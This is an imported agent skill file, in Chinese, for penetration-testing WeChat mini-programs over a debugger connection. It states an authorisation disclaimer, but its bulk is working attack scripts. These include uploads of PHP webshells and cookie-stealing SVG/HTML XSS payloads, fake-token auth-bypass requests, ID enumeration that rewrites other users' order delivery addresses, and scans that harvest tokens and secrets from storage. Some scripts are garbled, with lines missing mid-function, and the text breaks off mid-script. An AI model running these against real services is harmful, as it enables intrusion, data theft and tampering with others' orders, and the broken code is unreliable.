Imported from eeeeeeeeee-code/e0e1-wx (
SKILL.md). Install upstream withnpx skills add eeeeeeeeee-code/e0e1-wx. Copyright stays with the author.
❌ 红线(违反即失败)
- 未完整复述 Checklist 就调用 MCP 工具
- 自动重放支付、退款、提现、下单等资金类接口(
build_replay_plan只生成计划,不自动发送) - 未经
dryRun=false和requireConfirm=true就修改 Vuex state - 把解密结果用于绕过服务端校验而非安全评估
⚠️ 授权声明(必读)
本 skill 仅用于已获授权的安全评估、CTF 竞赛、合法渗透测试和防御性安全研究。 目标小程序须为授权评估对象。禁止对未授权系统使用任何主动探测手段。使用者须自行承担法律责任。
评估流程总览
| Phase | 目标 | 核心工具 | 输出 |
|---|---|---|---|
| 0. 环境搭建 | CDP 连接 + Hook 注入 | connection_ops / network_ops |
流量采集就绪 |
| 1. 侦察 | 路由 + 接口资产盘点 | runtime_ops / debugger_ops |
接口清单(含路由标注) |
| 2. 渗透线索 | IDOR / 认证绕过 / 资金接口 | analysis_ops / runtime_ops(fetch) |
风险候选清单 |
| 3. 解密分析 | 加密参数破解 + 密钥追踪 | decrypt_ops / debugger_ops |
明文数据 |
| 4. 逆向审计 | 代码保护分析 + 硬编码凭据扫描 | debugger_ops / reverse_ops |
凭据泄露报告 |
| 5. State 检查 | Vuex 越权状态验证 | runtime_ops |
越权路径 |
| 6. 报告导出 | Markdown 安全评估报告 | analysis_ops |
完整报告 |
最小可行扫描(时间受限时):Phase 0 → Phase 1(全路由)→ Phase 2.1-2.2.1(认证/IDOR/undefined路径)→ Phase 2.5.1(专项风险:JWT-in-URL/静态sign/enc/多appId)→ Phase 2.8(HTTP 行为变化矩阵:传统登录/上传/CVE路径/路由参数)→ Phase 4.7 第一轮(CRITICAL 凭据扫描)→ Phase 6
快速决策树(从目标直达 Phase)
当前任务是什么?
│
├─ 刚拿到小程序,需要全面摸底
│ └─ 走完整流程:Phase 0 → 1 → 2 → 4.7 → 6
│
├─ 时间有限,只测高价值面
│ └─ 最小可行扫描:0 → 1 → 2.1 + 2.2 + 2.2.1 → 2.5.1 → 4.7(CRITICAL)→ 6
│
├─ 发现加密参数(mina_edata / sign / enc)需要解密
│ └─ Phase 3 解密分析 → 场景 2(AES-CBC)/ 场景 3(唯品会三层)/ 场景 14(cachedata)
│
├─ 发现含 ID 参数的接口,怀疑 IDOR
│ └─ Phase 2.2 主动验证 → Phase 2.2.1(/undefined 路径)→ 场景 5
│
├─ 发现地址 / 订单接口,测写越权
│ └─ Phase 2.4.A(地址越权)/ Phase 2.4.B(订单越权)→ 场景 5
│
├─ 源码有混淆 / JSVMP / Webpack 保护
│ └─ Phase 4.1 识别类型 → Phase 4.2(Webpack)/ 4.3(OB)/ 4.4(JSVMP)→ 场景 7/8
│
├─ 怀疑硬编码了 AK/SK / AppSecret / 数据库密码
│ └─ Phase 4.7.0(运行时优先)→ Phase 4.7.1-4.7.9(正则扫描)→ 场景 11
│
├─ 接口认证疑似可绕过(不带 token 也返回数据)
│ └─ Phase 2.1 认证绕过主动验证 → 判断标准表
│
├─ 看到 /login 全部 404,疑似迁移到 OAuth2
│ └─ Phase 2.8 ① → 场景 16(认证机制迁移探测)
│
└─ 需要生成完整评估报告
└─ Phase 6 → analysis_ops(generate_security_notes)
Phase 0:环境搭建
MCP 操作顺序(推荐每次评估开始时执行):
1. connection_ops(action="connect_wmpf")
→ 连接 WMPFDebugger CDP,默认 ws://127.0.0.1:62000
2. network_ops(action="network_enable")
→ 启用 CDP Network domain,开始采集
3. 注入路由发现脚本 __routeNavigator(必须在 select_appservice_context 之前!)
⚠️ 此步骤要使用 runtime_eval(page-frame 上下文),不是 runtime_eval_appservice。
脚本依赖 window.frames 遍历跨 frame 找到拥有完整 __wxConfig 和 getCurrentPages
的 appservice frame;若在 appservice 上下文注入则 frames 遍历失效,路由数量仍然不足。
# Step A: 读取注入脚本内容
Read(file_path="package/applet_routes/nav_inject.js")
→ 获取 nav_inject.js 全文(约 360 行)
# Step B: 注入到 page-frame 上下文
runtime_ops(action="runtime_eval",
expression="<nav_inject.js 全文内容>",
await_promise=False)
# Step C: 验证注入成功
runtime_ops(action="runtime_eval",
expression="typeof window.__routeNavigator")
→ 返回 "object" 表示注入成功;返回 "undefined" 则重试 Step B
4. connection_ops(action="select_appservice_context")
→ 自动识别 appservice Runtime context,供后续 runtime_eval_appservice 使用
5. network_ops(action="hook_wx_request")
→ 在 appservice 上下文注入 wx.request hook,采集请求/响应原始数据
6. network_ops(action="hook_fetch_and_xhr")
→ 注入 fetch/XHR hook(Web 端 H5 页面)
7. runtime_ops(action="dump_runtime_snapshot")
→ 当前页面状态快照(URL、路由、存储摘要)
→ 记录当前路由路径,后续所有请求均标注来源路由
Phase 1:路由发现与接口侦察
1.0 路由资产盘点(v2.10 重写 — 使用 __routeNavigator)
核心原则:每个请求必须标注来源路由,每条路由都必须被测试。
⚠️ 前提:Phase 0 Step 3 的
__routeNavigator必须已注入。如果本步骤报错,先确认注入成功。
# Step 1: 获取完整路由表(含分包)—— 一次调用取代旧的两步搜索
runtime_ops(action="runtime_eval",
expression="window.__routeNavigator.fetchConfigJson()")
→ 解析返回 JSON:
pages = [{route, source, isTabBar}, ...] → 含主包 + 所有分包路由
tabBarPages = ["pages/home/index", ...]
currentRoute = "pages/xxx/xxx" → 当前所在页面
guardEnabled = false
⚠️ 若返回 "undefined" 或报错:
- 检查 Phase 0 Step C 是否返回 "object"
- 重新执行 Phase 0 Step B(重注入)再重试
# Step 2: 获取当前页面栈(辅助确认路由上下文)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{const p=getCurrentPages();return p.map(pg=>({route:pg.route,options:pg.options}))})()")
路由表解读要点:
source="main"→ 主包页面source="subPackageName"→ 对应分包,代表分包已在__wxConfig中声明isTabBar=true→ 导航时用switchTabJson,否则用navigateToJson或reLaunchJson- 若
pages仍然很少(< 5):说明小程序尚未加载子包配置,先随意触发几次页面切换再重试
1.1 逐路由流量采集(优先级优先 — v2.12)
核心原则:按漏洞价值排序遍历,不要按路由列表顺序机械扫描。
路由优先级分级
拿到 fetchConfigJson() 的完整路由表后,先按以下规则分组再依次测试:
P0 — 必测(最高价值,直接对应已知漏洞类型)
关键词命中任意一个即归入:
order / pay / payment / cart / checkout / coupon / refund ← 支付/订单
address / profile / setting / account / userInfo ← 个人信息/写越权
admin / manage / backstage / internal / debug ← 后台/管理
borrow / return / renew / reserve ← 借阅(图书馆类)
donate / purchase / buy ← 购买/捐赠
P1 — 重要(常含 IDOR 或认证绕过线索)
detail / Detail / info / get / query / view ← ⚡ 详情页(必须配合 ID 参数测试)
list / search / result / record / history ← 列表(可枚举,为 Detail IDOR 提供 ID 来源)
auth / login / register / bind / verify / openid ← 认证流程
mine / my / user / member / reader ← 用户中心
P2 — 普通(扫完 P0/P1 后再补)
index / home / activity / service / navigation ← 首页/导航
notice / article / news / video / exhibit / about ← 内容展示
P3 — 低优先(通常纯展示,无接口)
agreement / guide / success / result / map / web-view ← 静态/结果/地图
demo / live / readNow ← 演示/直播
⚡ Detail 路由专项协议(P1 必执行)
核心问题:Detail 路由不带 ID 参数直接导航通常返回空数据或报错,必须从对应 List 接口获取真实 ID 后再测试。
遇到 xxxDetail / xxxInfo / bookDetail / orderDetail / layerDetail 等路由时:
Step 1: 先找 ID 来源
→ 检查已捕获请求中同模块的 list/query 接口响应
→ 从响应 JSON 中提取 id / itemId / orderId / bookId 等字段
→ 若无 list 数据:先导航对应 list 路由触发数据加载,再读取 ID
Step 2: 带 ID 导航 Detail 路由
→ 方式 A(url 参数):reLaunchJson('pages-sub/xxx/detail?id=<真实ID>')
→ 方式 B(onLoad 注入):navigateToJson 后用 runtime_eval_appservice 调用
page.onLoad({id: '<真实ID>'})
Step 3: 读取 Detail 接口请求,确认接口路径和 ID 参数名
Step 4: 立即执行 IDOR 测试(Phase 2.2 模板)
→ 用当前用户 ID 作为 BASELINE
→ 从 list 响应中找其他用户的 ID(如社区帖子作者、排行榜 userId)
→ 对比响应数据差异判断越权
→ 空数据 ≠ 无 IDOR(换有真实数据的 ID 重试)
典型 Detail 路由来源配对表:
| Detail 路由关键词 | 对应 List 路由 | ID 字段名 |
|---|---|---|
| orderDetail / order/detail | order/list / my-order/index | id / orderId |
| bookDetail / book-detail | booklist / borrow/list | id / bookId / isbn |
| layofficeDetail / layerDetail | legalServices/list | id |
| articleDetail / docDetail | article-list / continuous | id / articleId |
| myActivity/detail | myActivity/myActivity | id / activityId |
| exhibitList/index / electronic-detail | exhibitList / electronic-list | id |
runtime_eval_appservice(expression="(()=>{
var route=(getCurrentPages().slice(-1)[0]||{}).route||'?';
form:JSON.stringify(obj.formData||{}),route:route,ts:Date.now()});
return origUp.apply(this,arguments);
};
}
})()")
→ 有条目 → 直接跳 Step 4 执行绕过测试
→ 无条目 → 执行 Step 3「主动触发法」
Step 3: 主动触发法(Hook 无日志时执行)
runtime_eval_appservice(expression="(async ()=>{
var pages=getCurrentPages();
var c=pages[pages.length-1];
// Step 3a: 列出所有页面方法,找潜在的上传触发入口
var methods=Object.keys(c).filter(function(k){return typeof c[k]==='function';});
form:JSON.stringify(obj.formData||{}),route:c.route,ts:Date.now()});
return origUp.apply(this,arguments); // 继续真正上传
};
// 创建一个模拟图片文件
var fs=wx.getFileSystemManager();
var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
if(opts&&typeof opts.success==='function')
opts.success({tempFilePaths:[p],tempFiles:[{path:p,size:9}]});
};
var fs=wx.getFileSystemManager();
var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
if(opts&&typeof opts.success==='function')
opts.success({tempFiles:[{tempFilePath:p,fileType:'image',size:9}]});
};
// Step 3c: 逐一调用页面 handler,用 fake tap event 触发,监控哪个触发了上传
var fakeEvent={type:'tap',timeStamp:Date.now(),
target:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
currentTarget:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
touches:[{identifier:0,pageX:100,pageY:100,clientX:100,clientY:100}],
changedTouches:[{identifier:0,pageX:100,pageY:100}],
detail:{x:100,y:100}};
var triggeredBy=null;
for(var m of methods){
try{c[m].call(c,fakeEvent);}catch(e){}
await new Promise(function(r){setTimeout(r,500);});
triggeredBy=m;
break;
}
}
// 恢复
return JSON.stringify({
methods:methods,
triggeredBy:triggeredBy,
});
})()")
→ 若所有方法均未触发:
runtime_eval_appservice("JSON.stringify(getCurrentPages().slice(-1)[0].data)")
- 从 get_all_requests / DNS prefetch 反推 OSS 域名
- 从 Storage 搜索 ossInfo / accessKeyId 字段
Step 4: 对捕获的上传 URL 执行完整文件类型绕过测试
runtime_eval_appservice(expression="(async ()=>{
var token=wx.getStorageSync('token')||wx.getStorageSync('access_token')||'';
var fs=wx.getFileSystemManager();
var base=wx.env.USER_DATA_PATH;
var tests=[
{label:'baseline_jpg', fn:'ok.jpg', mime:'image/jpeg', body:'\\xff\\xd8\\xff\\xe0normal'},
{label:'php_as_jpg', fn:'shell.php', mime:'image/jpeg', body:'<?php phpinfo();?>'},
{label:'phtml', fn:'shell.phtml', mime:'image/jpeg', body:'<?php system($_GET[\"c\"]);?>'},
{label:'gif_php', fn:'shell.gif', mime:'image/gif', body:'GIF89a<?php system($_GET[\"c\"]);?>'},
{label:'double_ext', fn:'img.php.jpg', mime:'image/jpeg', body:'<?php phpinfo();?>'},
{label:'svg_xss', fn:'xss.svg', mime:'image/svg+xml', body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.cookie)</script></svg>'},
{label:'html_xss', fn:'xss.html', mime:'text/plain', body:'<script>alert(document.cookie)</script>'},
];
var results=[];
for(var t of tests){
fs.writeFileSync(base+'/'+t.fn, t.body, 'utf8');
var r=await new Promise(function(res){
header:{'Authorization':'Bearer '+token,token:token},
formData:{},
success:function(r){
var parsed={};try{parsed=JSON.parse(r.data);}catch(e){}
var fileUrl=(parsed.data&&(parsed.data.url||parsed.data))||parsed.url||'';
res({label:t.label,file:t.fn,status:r.statusCode,code:parsed.code,
fileUrl:String(fileUrl),resp:String(r.data).slice(0,300)});
},
fail:function(e){res({label:t.label,file:t.fn,status:'fail',err:String(e.errMsg||'').slice(0,80)});}
});
});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
Step 5: 验证 Content-Type 与 Content-Disposition(决定 XSS 是否可利用)
runtime_eval_appservice(expression="(async ()=>{
var urls={svg:'<svg URL>',html:'<html URL>',php:'<php URL>',pdf:'<pdf URL>'};
var results=[];
for(var k in urls){
var r=await new Promise(function(res){wx.request({
url:urls[k],method:'GET',
success:function(r){
var h=r.header||{};
res({type:k,status:r.statusCode,
ct:h['Content-Type']||h['content-type']||'?',
cd:h['Content-Disposition']||h['content-disposition']||'none(inline!)',
body:JSON.stringify(r.data||'').slice(0,150)});
},fail:function(e){res({type:k,status:'fail'});}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
Step 6: 判断结果
.svg + ct=image/svg+xml + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
.html + ct=text/html + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
.php 上传成功 + cd=none → ⚠️ OSS 不执行 PHP,但无扩展名检查
任意文件 + cd=attachment → ✅ 强制下载,XSS 不可直接触发
服务端拒绝"格式不支持" → ✅ 白名单保护
遍历流程
Step 1: 从 fetchConfigJson() 路由表按上面规则分组为 P0/P1/P2/P3
Step 2: 按 P0 → P1 → P2 → P3 顺序依次导航,每个路由:
For each route in [P0, P1, P2, P3 顺序]:
┌──────────────────────────────────────────────────────────┐
│ 路由: pages-sub/borrow/my-order/index (P0) │
│ 1. 导航(统一优先 reLaunchJson): │
│ runtime_eval("window.__routeNavigator │
│ .reLaunchJson('pages-sub/...')") │
│ 2. 触发刷新(onPullDownRefresh 或 onShow) │
│ 3. 读取新增请求 │
│ 4. ⚡ 空流量路由?→ 按决策树处理(最多重试 2 次) │
│ 5. 路由类型专项处理: │
│ · detail/Detail 类 → 执行 Detail ID 协议 │
│ · order/pay/address 类 → 标记认证绕过/IDOR 候选 │
│ 6. 记录: URL / 方法 / 参数 / 认证 / 加密,标注来源路由 │
└──────────────────────────────────────────────────────────┘
Step 3: P0 路由采集完成后,立即执行 Phase 2 渗透验证
P1/P2/P3 继续在后台补充遍历
⚡ 空流量路由决策树
导航后无新请求?
│
├─ YES → 尝试强制刷新(onPullDownRefresh / onShow)
│ ├─ 有新请求 → 正常采集
│ └─ 仍无请求(重试 2 次)→ 判定为静态/纯UI路由
│ → 记录"[无接口 — 跳过]",进入下一条路由
│ ← ⚠️ 最多重试 2 次,不要死磕
│
└─ NO → 正常采集
静态路由常见特征:协议/关于/引导/成功页、地图、web-view 包装页。
路由请求标注格式(在分析和报告中均使用):
路由: pages-sub/borrow/my-order/detail [P1 — Detail — 已从 list 提取 ID]
└── GET /api/borrow/order/detail?id=123 [认证: token]
风险标签: IDOR 已验证 / 他人订单数据可读
风险标签: 文件类型绕过已测 / .php 上传成功 → RCE
路由: pages-sub/profile/address-list [P0 — 地址]
├── GET /api/user/address/list [认证: token]
└── POST /api/user/address/add [认证: token]
风险标签: 地址写越权候选
路由: pages-sub/mine/agreement [P3 — 静态]
└── [无接口 — 纯展示,跳过]
1.2 全量流量汇总
在完成所有路由的遍历采集后:
network_ops(action="get_all_requests")
→ 返回 CDP + wx.request + fetch/XHR 归一化请求列表(含来源路由标注)
analysis_ops(action="get_api_inventory")
→ 返回去重后的接口清单:路径、方法、状态码、参数、认证字段、来源路由、风险标签
analysis_ops(action="generate_api_table_markdown")
→ Markdown 接口表格(按路由分组)
1.3 加密参数识别
network_ops(action="search_runtime_keywords",
keywords=["mina_edata", "encrypt", "AES", "3DES", "sign", "token", "cipher"])
→ 在 window、document、storage 和内联脚本中搜索关键词
network_ops(action="inspect_wx_config")
→ 检查 __wxConfig、__wxAppCode__ 中的关键词命中
decrypt_ops(action="auto_detect_encoding", value="<加密参数值>")
→ 自动识别编码类型(base64 / hex / url_encoded)
1.4 脚本分析
debugger_ops(action="list_scripts")
→ 列出已加载脚本
debugger_ops(action="search_in_sources", query="encrypt|AES|sign|request|decrypt|crypto|md5|sha|base64")
→ 全源码搜索加密/签名关键词
debugger_ops(action="get_script_source", url="<脚本URL>")
→ 获取脚本内容
# v2.0 新增:检测代码保护
debugger_ops(action="search_in_sources", query="_0x|obfuscator|jsvmp|virtualMachine|while.*switch|webpackJsonp")
→ 识别混淆/JSVMP/Webpack 打包
⚠️ cachedata 脚本降级方案(v2.5 新增):若
list_scripts返回的 URL 全部以.cachedata结尾,或search_in_sources对所有查询均返回 0 命中,或get_script_source报"Debugger agent is not enabled",说明脚本以 WX 二进制缓存格式存储,静态文本搜索完全失效。此时切换到运行时扫描替代方案:# 替代方案1: 运行时遍历全局函数名,定位加密函数 runtime_ops(action="runtime_eval", expression="(()=>Object.keys(globalThis).filter(k=>typeof globalThis[k]==='function'&& /encrypt|decrypt|sign|md5|sha|aes|des|hmac|cipher|encode/i.test(k)))()") # 替代方案2: 扫描全局变量中的硬编码密钥(见 Phase 4.7.2 的验证步骤 1-4) runtime_ops(action="runtime_eval", expression="(()=>{var r={};for(var k of Object.keys(globalThis||window||{})){ if(/host|gateway|env|config|api|baseUrl|key|secret|token/i.test(k)){ try{var v=String(globalThis[k]);if(v&&v!='undefined')r[k]=v.slice(0,200)}catch(e){} }}return JSON.stringify(r)})()") # 替代方案3: 搜索 Storage 中的密钥字段 runtime_ops(action="runtime_eval", expression="(()=>{try{var keys=wx.getStorageInfoSync().keys; var r={};keys.filter(k=>/key|token|secret|sign|iv|crypto|aes|des/i.test(k)) .forEach(k=>{try{r[k]=wx.getStorageSync(k)}catch(e){}});return JSON.stringify(r)} catch(e){return String(e)}})()")
Phase 2:渗透测试线索分析
2.1 认证与授权测试(主动验证)
analysis_ops(action="analyze_auth_surface")
→ 认证字段分布、token 位置(header/query/body)、缺少认证的敏感接口
→ 按路由分组展示,标注每个路由的认证覆盖盲区
认证绕过必须主动发送请求验证,不能只看静态分析结果:
# Step 1: 从 get_request_detail 提取目标请求的完整信息
# Step 2: 用 runtime_eval (fetch) 或 runtime_eval_appservice (wx.request) 主动发送修改后的请求
# Step 3: 对比响应判断是否绕过
# === 认证绕过主动测试模板 ===
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<从JWT解析或请求中提取的token>';
var url='<目标接口URL>';
var method='<GET/POST>';
var body='<原始请求体JSON>';
var results=[];
// 测试1: 不带 token
var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});
results.push({test:'no_token',status:r1.status,body:await r1.text()});
// 测试2: 带空 token
var r2=await fetch(url,{method:method,headers:{'Authorization':'Bearer ','Content-Type':'application/json'},body:body});
results.push({test:'empty_token',status:r2.status,body:await r2.text()});
// 测试3: 带伪造 token
var r3=await fetch(url,{method:method,headers:{'Authorization':'Bearer fake_token_12345','Content-Type':'application/json'},body:body});
results.push({test:'fake_token',status:r3.status,body:await r3.text()});
// 测试4: 正常 token(基线)
var r4=await fetch(url,{method:method,headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},body:body});
results.push({test:'baseline',status:r4.status,body:await r4.text()});
return JSON.stringify(results,null,2);
})()")
# === 认证绕过判断标准 ===
# no_token 返回 200 + 正常数据 → 🔴 无认证保护(严重)
# empty_token 返回 200 + 正常数据 → 🔴 token 验证不严格
# fake_token 返回 200 + 正常数据 → 🔴 token 未真正校验
# baseline 返回 200,其余返回 401/403 → ✅ 认证正常
# 所有测试返回相同数据 → 🔴 接口根本不需要认证
#
# ⚠️ 歧义情况:所有测试(含 baseline)均返回相同 500 →
# 不等于"未保护"!服务端可能在解析 token 时崩溃。
# 判断方法:检查 500 响应体是否包含堆栈/debug 信息(信息泄露)。
# 后续操作:换有效 token(从 storage 或 JWT 解码获取)构造 baseline 再测。
为什么用 runtime_eval + fetch 而非 replay_ops:
replay_ops对 POST/写操作默认阻断(blocked_by_policy)fetch从 webview 层面发送,绕过小程序的域名白名单限制- 直接拿到响应数据对比,无需手动验证
2.2 IDOR 候选发现与主动验证
analysis_ops(action="find_idor_candidates")
→ 包含对象 ID 的接口(潜在 IDOR 候选)
→ 标注: 来源路由 + ID 参数名称 + ID 格式(自增/UUID/编码)
IDOR 不能只看静态分析结果,必须主动发送请求验证。以下为完整主动测试流程:
# Step 1: 获取原始请求详情
network_ops(action="get_request_detail", request_id="<候选请求ID>")
→ 提取: url, method, headers, body, 响应结构
# Step 2: 从 JWT/Body 中识别当前用户 ID
# 如果 Authorization header 是 JWT,解码 payload 获取 userId
# 如果请求体中有 openId/userId/uuid,记录当前值
# Step 3: 构造 IDOR 测试向量并主动发送
# 使用 runtime_eval (fetch) 绕过 replay_ops 的 POST 阻断
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<从请求中提取的完整token>';
var baseBody=<原始请求体JSON>;
var tests=[
{label:'BASELINE',body:{...baseBody}}, // null/原值(基线)
{label:'IDOR_ADJACENT',body:{...baseBody,userId:baseBody.userId+1}}, // 相邻ID
{label:'IDOR_FIRST',body:{...baseBody,userId:1}}, // 首个用户
{label:'IDOR_ZERO',body:{...baseBody,userId:0}}, // 边界值
{label:'IDOR_STRING',body:{...baseBody,userId:'admin'}}, // 类型混淆
];
var results=[];
for(var t of tests){
var r=await fetch('<目标URL>',{
method:'POST',
headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},
body:JSON.stringify(t.body)
});
var text=await r.text();
results.push({label:t.label,status:r.status,bodyLen:text.length,preview:text.slice(0,500)});
}
return JSON.stringify(results,null,2);
})()")
IDOR 判断标准(按优先级):
| 响应对比 | 判断 | 后续操作 |
|---|---|---|
| BASELINE 有数据,IDOR_* 返回不同的有效数据 | 🔴 IDOR 确认 | 提取他人数据的敏感程度,定级 |
| BASELINE 有数据,IDOR_* 返回相同数据 | ✅ 后端忽略了 userId(取 token) | 换参数位置测试 |
| BASELINE 有数据,IDOR_* 返回 403 | ✅ 有权限检查 | 记录为已防御 |
| BASELINE 空数据,IDOR_* 也空数据 | ⚠️ 无法判断 | 说明当前用户/目标用户均无数据,换有数据的接口测试 |
IDOR_* 返回了不同 data.phone/name/idCard 等字段 |
🔴 越权读取他人敏感信息 | 严重,立即报告 |
跨域请求注意:如果目标 API 域名与当前小程序不同(如跨小程序调用),wx.request 会因域名白名单失败,此时 fetch 从 webview 层发送可绕过限制。
2.2.1 路径参数 undefined IDOR(v2.4 新增)
模式:URL 路径中包含 /undefined 段,说明客户端 JS 变量未初始化就直接嵌入了 URL 模板(如 `/api/detail/${item.id}` 中 item.id 为 undefined),服务端收到字面字符串 "undefined" 后仍可能转发给数据库查询。
# Step 1: 从已采集请求中识别路径含 /undefined 的接口
network_ops(action="get_all_requests")
→ 筛选 path.includes('/undefined') 的条目
→ 这类请求常出现在页面刚加载、列表未渲染完成时触发的详情接口
# Step 2: 获取原始请求完整信息
network_ops(action="get_request_detail", request_id="<候选请求ID>")
→ 提取: url, method, headers, 认证字段
主动测试模板(替换 undefined 为数字 ID 枚举资源):
runtime_ops(action="runtime_eval", expression="(async ()=>{
var baseUrl='<原始URL,含 /undefined>';
var method='<GET/POST>';
var headers={'Content-Type':'application/json','Authorization':'Bearer <token>'};
var testIds=[1,2,3,10,100,1000,99999];
var results=[];
// BASELINE: 原始 /undefined 请求(确认服务端如何处理字面 undefined)
var rb=await fetch(baseUrl,{method:method,headers:headers});
var baseText=await rb.text();
results.push({id:'undefined',status:rb.status,len:baseText.length,preview:baseText.slice(0,300)});
// 枚举数字 ID — 将路径中的 /undefined 替换为 /<id>
for(var id of testIds){
var url=baseUrl.replace('/undefined','/'+ id);
var r=await fetch(url,{method:method,headers:headers});
var text=await r.text();
results.push({id:id,status:r.status,len:text.length,preview:text.slice(0,400)});
}
return JSON.stringify(results,null,2);
})()")
如果从响应或其他接口已获得真实 ID(如 exhibitId=42),优先测试相邻范围:
var testIds=[39,40,41,42,43,44,45,1,2,99999];
// 相邻 ID 最容易触发他人数据,危害更直接
判断标准:
| 响应对比 | 判断 | 后续操作 |
|---|---|---|
/undefined 返回空/错误,数字 ID 返回他人有效数据 |
🔴 路径遍历 IDOR 确认 | 枚举更多 ID,确认数据敏感程度 |
| 不同数字 ID 返回不同用户的数据 | 🔴 IDOR 确认(越权访问) | 提取数据字段,按越权范围定级 |
| 数字 ID 返回 404/403/权限错误 | ✅ 有保护 | 记录为已防御 |
| 所有 ID(包括 undefined)均返回相同错误 | ⚠️ 需认证 | 用带有效 token 的请求重测 |
/undefined 与数字 ID 响应长度不同 |
🔴 服务端区分了不同 ID,存在数据泄露风险 | 检查不同 ID 返回的具体字段 |
2.3 敏感数据暴露
analysis_ops(action="find_sensitive_data_exposure")
→ 请求/响应中的敏感字段(已脱敏展示)
→ 关注: 手机号、身份证、银行卡号、密码、token 在响应体中回显
→ 按路由分组的敏感数据暴露统计
2.4 资金类接口识别
analysis_ops(action="find_payment_and_order_surfaces")
→ 支付/订单/优惠券/钱包/余额接口(资金风险候选)
→ 标注: 来源路由 + 金额参数名 + HTTP 方法
→ 金额篡改候选: price/amount/cost/total/fee 参数
→ 优惠券/积分: couponId/bonusId/point 参数
2.4.A 地址管理越权测试(v2.8 新增)
核心原则:地址接口极易出现 IDOR —— 地址 ID 通常是自增整数,且增删改操作仅凭 token 可能无法校验地址归属。必须自己添加地址拿到 ID,再用该 ID 枚举其他用户地址。
⚠️ 地址接口命名不唯一:不同小程序的地址 API 路径差异很大,必须从流量中获取真实路径。常见变体:
/api/app/user/address/add— 用户收货地址/api/app/delivery/address/add— 物流配送地址/api/app/trade/delivery/add-receiver— 订单收货人(含 deliveryIds 关联订单!)/api/app/address/save//api/app/address/create
trade/delivery/add-receiver是特殊情况:它的deliveryIds字段关联了具体订单, 这既是地址接口也是订单关联接口,IDOR 价值更高(改变他人订单的收货人)。
Step 1:导航地址页采集真实接口
// 导航到地址管理页(按实际路由名)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/address/address'});return 'ok'})()")
// 也导航到订单详情页(通常含收货地址修改)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages/editDelivery/editDelivery'});return 'ok'})()")
// 等 2 秒后查看接口清单,找到 address/delivery/receiver 相关 GET/POST/PUT/DELETE
analysis_ops(action="get_api_inventory")
→ 识别: address/list, address/add, address/get, address/edit, address/delete
→ 特别关注: delivery/add-receiver / delivery/address/add 等含 deliveryIds/receiverId 的接口
Step 2:主动添加测试地址(获取 addressId / deliveryId)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
var base='https://<API域名>';
var ts=Date.now();
// 尝试常见的地址创建 API 路径(从接口清单中取真实路径)
var addPaths=[
'/api/app/user/address/add',
'/api/app/address/add',
'/api/app/delivery/address/add',
'/lyanxue/api/v1.2/app/delivery/address/add',
'/lyanxue/api/v1.2/app/user/address/add',
];
var testAddr={
name:'IDOR测试',
phone:'13800000001',
province:'广东省',
city:'深圳市',
district:'南山区',
detail:'测试路1号',
isDefault:0,
timestamp:ts
};
var results=[];
for(var p of addPaths){
var r=await new Promise(res=>{wx.request({
url:base+p,method:'POST',
header:{token:token,'Content-Type':'application/json'},
data:testAddr,
success:function(r){res({path:p,code:r.data&&r.data.code,msg:r.data&&r.data.msg,
addrId:r.data&&r.data.data&&(r.data.data.id||r.data.data.addressId||r.data.data.deliveryId),
preview:JSON.stringify(r.data).slice(0,300)})},
fail:function(e){res({path:p,status:'fail'})}
})});
if(r.code===10000||r.code===200||r.code===0) results.push(r);
else results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 记录成功的 path 和返回的 id(通常为整数)
Step 2.5:针对 trade/delivery/add-receiver 的特殊处理
add-receiver 是订单关联的收货人接口,比普通地址更高价值:
// 真实请求示例:
// POST /lyanxue/api/v1.2/app/trade/delivery/add-receiver
// Body: {"deliveryIds":"","name":"test","phone":"19555555555","address":"浙江省杭州市西湖区test","timestamp":1779688689599}
//
// deliveryIds: 空字符串 = 新建收货人(无关联订单)
// deliveryIds: "123,456" = 关联订单 123 和 456 的收货人
//
// IDOR 测试重点:deliveryIds 使用他人订单 ID → 修改他人订单收货地址
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
var base='https://<API域名>';
var ts=Date.now();
// Step 1: 先获取自己的 delivery list 拿到 deliveryIds
var deliveries=await new Promise(res=>{wx.request({
url:base+'/lyanxue/api/v1.2/app/trade/delivery/get-list?pageNo=1&pageSize=10&lockedStates=0×tamp='+ts,
method:'GET',header:{token:token},
success:r=>res(r.data&&r.data.data&&r.data.data.deliveryList||[]),
fail:e=>res([])
})});
console.log('[DELIVERIES]'+JSON.stringify(deliveries).slice(0,500));
// Step 2: 用相邻 ID 测试 add-receiver(IDOR 核心)
var myDeliveryId=deliveries[0]&&deliveries[0].id;
var testIds=myDeliveryId?[myDeliveryId-2,myDeliveryId-1,myDeliveryId,myDeliveryId+1,myDeliveryId+2]:[1,2,3,100];
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+'/lyanxue/api/v1.2/app/trade/delivery/add-receiver',
method:'POST',header:{token:token,'Content-Type':'application/json'},
data:{deliveryIds:String(id),name:'IDOR_TEST',phone:'13800000002',address:'测试地址IDOR',timestamp:ts},
success:r=>res({deliveryId:id,code:r.data&&r.data.code,msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)}),
fail:e=>res({deliveryId:id,status:'fail'})
})});
